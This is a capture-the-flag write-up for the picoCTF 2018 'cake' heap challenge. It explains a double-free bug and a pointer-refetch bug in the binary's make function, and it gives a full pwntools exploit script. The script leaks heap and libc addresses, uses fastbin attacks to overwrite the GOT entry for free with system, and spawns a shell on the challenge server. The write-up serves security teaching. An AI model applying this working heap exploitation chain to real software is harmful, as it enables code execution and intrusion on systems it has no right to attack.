Challenge: cake libc

Reversing

$ file ./cake
cake: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5422c9f23d49487ec57700c323eb018293dd4f9c, not stripped
$ checksec ./cake
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE

Well a pwn challenge with PIE disabled, we don’t see that often (but yay!). And RELRO is not there also, meaning we can do GOT overwrite to get shell.

Challenge binary provides five options
M - Allows us to Make (allocate) a cake structure where we can specify name of max 8 bytes and price for that cake.
W - If you want to wait for more customers to come this is the option. Does not make much sense now but quite useful. (explained later)
S - Allows us to Serve the customer our cake based on its index value. Basically freeing the cake structure.
I - Inspecting the cake will print its contents (name and price) on stdout.
C - Finally if you are tired, you can close the shop and return from the main function.

Now we know the basic functionality of the binary. Lets see how all the chunks are actually laid out in memory.
To do that I made a dummy cake with name “AAAA” and price 16. When I check this in gdb, it looks something like below (heap addresses may seem different because its from my local VM).

0x564904bd0010:	0x0000000000000000	0x0000000000000021
0x564904bd0020:	0x0000000000000010	0x0000000041414141
0x564904bd0030:	0x0000000000000000	0x0000000000020fd1
0x564904bd0040:	0x0000000000000000	0x0000000000000000

Here we see that *cake points to its price and *cake + 0x8 points to its name.
If we look at IDA we find that the counter to number of customer at the shop, is stored in .bss segment. Whenever we call Wait for customer or even do any operation for that matter, counter gets increased randomly by either 0, 1 or 2, cool.
There is also a shop variable on .bss which keeps track of all the available cakes and binary access all the cake structures referencing from this. All the pointer of cakes reside on .bss that are access relatively from address of shop by challenge binary.
Thats enough of the working of binary. Lets discover bugs and exploit them (believe me there are some interesting bugs).

Bug Hunting

There are mainly three bugs/features that I used for my exploit.

  • As we know that we can serve (free) cakes to customers based on their index. Here lies our first bug. Binary doesnt check if a cake is already served or not. It just checks whether provided index is less than or equal to total number of cakes created and max number of cakes should be less than 16. (allows us to do fastbin attack)

  • counter can be used to created fake size of heap chunk which can be used to return address on .bss from malloc.

  • There is a subtle bug in make function. If you look carefully at the IDA code snippet below. If we can somehow overwrite value at *(&shop->sold + i + 2LL) in between name overwrite and price overwrite, we can get arbitrary write. Confused? It should get more clearer in exploitation section :)

void __fastcall make(s_shop *shop)
{
...
      printf("Made cake %d.\nName> ", (unsigned int)i);
      fgets_eat((char *)(*(&shop->sold + i + 2LL) + 8), 8);
      printf("Price> ");
      v1 = (__int64 *)*(&shop->sold + i + 2LL);
      *v1 = get();
...
}

Exploitation

So here I will explain my exploit script in pieces because I find this approach more easy to explain how exploitation works and it also connects techniques specified in write up with exploitation script at the same time.

from pwn import *
import re,sys

def make(name, price):
    r.sendlineafter("> ", "M")
    r.sendlineafter("Name> ", name)
    r.sendlineafter("Price> ", str(price))

def wait_c():
    r.sendlineafter("> ", "W")

def serve(index):
    r.sendlineafter("> ", "S")
    r.sendlineafter("> ", str(index))

def inspect(index):
    r.sendlineafter("> ", "I")
    r.sendlineafter("> ", str(index))

libc = ELF('./libc.so.6')
#r = process(['./ubuntu-xenial-amd64-libc6-ld-2.23.so', './cake'], env={"LD_PRELOAD":"./libc.so.6"})
r = remote("2018shell1.picoctf.com", 42542)

So here I created some functions to make my life a little easier while interacting with the process, nothing fancy.

#################
make("daaa", 0x656565) #0
make("eaaa", 0x656565) #1
make("AAAA"*10, 10) #2
make("BBBB"*10, 10) #3
#gdb.attach(r)
serve(0)
serve(1)
serve(0)

In above code I have double-freed 0th cake which causes price of 0th cake to convert into a heap address. As this is fastbin, it will be pointing to next chunk in free list meaning 1th cake. This you can see in the heap dump below.

0x5622d06c0010:	0x0000000000000000	0x0000000000000021
0x5622d06c0020:	0x00005622d06c0030	0x0000000061616164
0x5622d06c0030:	0x0000000000000000	0x0000000000000021
0x5622d06c0040:	0x00005622d06c0010	0x0000000061616165
0x5622d06c0050:	0x0000000000000000	0x0000000000000021
0x5622d06c0060:	0x000000000000000a	0x0041414141414141
0x5622d06c0070:	0x0000000000000000	0x0000000000000021
0x5622d06c0080:	0x000000000000000a	0x0042424242424242
0x5622d06c0090:	0x0000000000000000	0x0000000000020f71
#leak heap
inspect(0)
r.recvuntil("for $")
heap_addr = int(r.recvline().strip(), 10)
log.info("heap: 0x{:x}".format(heap_addr))

Now I can just print the price of 0th cake to leak heap address. Actually heap leak is never getting used in exploit ahead but while solving challenges I just leak everything I can ;P

#############
#wait for customers to be 0x21
while True:
    rd = r.recvuntil("waiting.")
    got = re.findall(ur'and have (.+?) customers waiting', rd)[0]
    if int(got) < 0x21:
        log.info(got)
        wait_c()
        #r.interactive()
    elif int(got) == 0x21:
        break
    else:
        sys.exit()

#############
make("aaaa", 0x6030E0) #4 # (&shop->sold + 0 + 2LL) - 0x10  == 0x6030E0
#gdb.attach(r)
make("bbbb", u64('/bin/sh\x00')) #5 # I free this chunk at the end to pop shell!
make("aaaa", 0x31313131) #6
make(p64(0x21), 0x603088) #7
inspect(0)
libc_base = u64(r.recv(6) + "\x00"*2) - 0x3af60
log.info("libc base: 0x{:x}".format(libc_base))

In above code I am setting the counter value to be 0x21 so that we can do a fastbin-attack to change a cake pointer on .bss to GOT address. That will allow us to leak the address of GOT function’s address and effectively leaking libc_base. After enough waiting I start doing a typical fastbin-attack. As in previous code I had freed 0th cake twice, first I change the 0th cakes free-list pointer to address of first cake pointer on .bss - 0x10. So that on fourth malloc call I can change the first cake pointer to 0x603088 (exit’s got address). Now we can inspect 0th cake to leak libc_base, cool!

Here I have put a 0x21 in the name of newly allocated cake chunk on .bss . I did that so that I dont need to make counter 0x21 repeatedly.

I have also specified /bin/sh\x00, not important right now but you know where I will use it at the end ;)
After doing the libc leak our .bss looks like below.

0x6030e0:	0x0000000000cacaca	0x0000000000000022
0x6030f0:	0x0000000000603088	0x0000000000000021
0x603100:	0x0000564b5116f060	0x0000564b5116f080
0x603110:	0x0000564b5116f020	0x0000564b5116f040
0x603120:	0x0000564b5116f020	0x00000000006030f0
#############
#gdb.attach(r)
serve(3)
serve(4)
serve(3)

make("aaaa", 0x6030f0) #8 #customer number -0x8
make("bbbb", 0x6030f8) #9
make("aaaa", 0x31313131) #10
#gdb.attach(r)
make(p64(0x6030f0), 0x21) #11

In the code above I am doing another fastbin-attack and this time it is to create another 0x21 in the .bss just after our previous 0x21. This is done because I want to exploit our third-bug. It will get more clear in next part of the exploit.
For now below is the .bss dump after all the actions above.

0x6030e0:	0x0000556ae9d4fc25	0x0000000000000022
0x6030f0:	0x0000000000603088	0x0000000000000021
0x603100:	0x0000000000000021	0x00000000006030f0
0x603110:	0x0000556ab7d90020	0x0000556ab7d90040
0x603120:	0x0000556ab7d90020	0x00000000006030f0
0x603130:	0x0000556ab7d90080	0x0000556ab7d90020
0x603140:	0x0000556ab7d90080	0x0000000000603100
#############
serve(9)
serve(10)
serve(9)
serve(10)
#############

make("aaaa", 0x6030f8)  #customer number -0x8
make("bbbb", 0x6030f0)
make("aaaa", 0x31313131)
make(p64(0x0), 0x0)
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
make(p64(0x603018), system_addr)
###################
r.interactive()

I again create a scenario for fastbin-attack but if you notice I have double freed two chunks. Meaning in the fourth malloc and fifth malloc, I will be allocating and overwriting free chunks specified in first and second allocations.
First I allocate 0x6030f8, overwrite it at 0x603108 with Nulls. Hmm why did I need to do that. Well when a cake gets allocated, an iterator runs through this array of cake pointers on .bss segment. When iterator finds a Null pointer, cake is allocated and the address of that cake is stored here.
After that I filled 0x603108 with Nulls, address of next allocation of cake will be stored at 0x603108. Down is the dump till this point.

0x6030e0:	0x000100bb5e33bebe	0x0000000000000021
0x6030f0:	0x0000000000603088	0x0000000000000021
0x603100:	0x0000000000000021	0x0000000000000000
0x603110:	0x0000000000000000	0x00005593a8e22040
0x603120:	0x00005593a8e22020	0x00000000006030f0
0x603130:	0x00005593a8e22080	0x00005593a8e22020
0x603140:	0x00005593a8e22080	0x0000000000603100
0x603150:	0x00005593a8e22080	0x00005593a8e22020
0x603160:	0x00005593a8e22080	0x0000000000603108

Now when I make another cake it allocates 0x6030f0 chunk and which will have data part at 0x603100. Address of this chunk will be stored at 0x603108 which resides inside the allocated chunk for this cake. Now I set the name value to p64(0x603018). This will cause value of cake pointer to point to 0x603018 (GOT of free function). Now when price gets written, make function fetches the cake pointer again which is pointing to free_got now. And free_got will be overwritten with price value (address of system function).
Now If we free the cake with string /bin/sh\x00 that I created above, a shell gets popped!
The whole script can be found here

I found this challenge quite interesting because it took me quite some time to find the bug/feature in make function to get arbitrary write.
In overall PicoCTF was a fun experience. I finished #6 but I could not solve two challenges and that was frustrating :D